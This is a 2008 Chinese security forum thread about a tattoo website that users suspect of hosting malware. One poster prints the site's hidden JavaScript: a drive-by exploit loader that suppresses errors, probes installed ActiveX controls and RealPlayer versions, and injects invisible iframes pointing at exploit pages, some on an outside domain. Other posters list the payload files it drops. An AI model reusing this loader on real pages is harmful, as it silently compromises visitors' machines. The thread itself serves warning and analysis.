www.zj-tattoo.com谁去一探究竟？

molicn

发现问题

edwardcl

俺的nod32+op2009进去没什么，不会是那么差吧？

虫眼

图穷匕现的js，貌似9种攻击手段，必有一款适合您。
<script>
document.write("<iframe width=100 height=0 src=fx.htm></iframe>");
document.write("<iframe width=100 height=0 src=ss.html></iframe>");
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=100 height=0 src=ms06014.htm></iframe>");
try{var f;
var gw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};                     
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=GLWORLD.html></iframe>");}}
try{var m;
var hw=new ActiveXObject("Downloader.DLoader.1");}
catch(m){};                     
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=http://jzm015.cn/sina.htm></iframe>");}}
try{var n;
var hl=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(n){};                     
finally{if(n!="[object Error]"){document.write("<iframe width=100 height=0 src=http://jzm015.cn/UU.htm></iframe>");}}
try{var b;
var ml=new ActiveXObject("DPClient.Vod");}
catch(b){};                     
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=Thunder.html></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=0 src=real.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=Real.html></iframe>");
}
test();
document.write("");
</script>

[ 本帖最后由 虫眼 于 2008-9-16 21:15 编辑 ]

tanlimo

我进进出出好几回了，没有一种攻击方式适合我的

虫眼

如果没漏洞是没问题。

tanlimo

还是这几个a30.css    a4.css    sina.exe  ko.css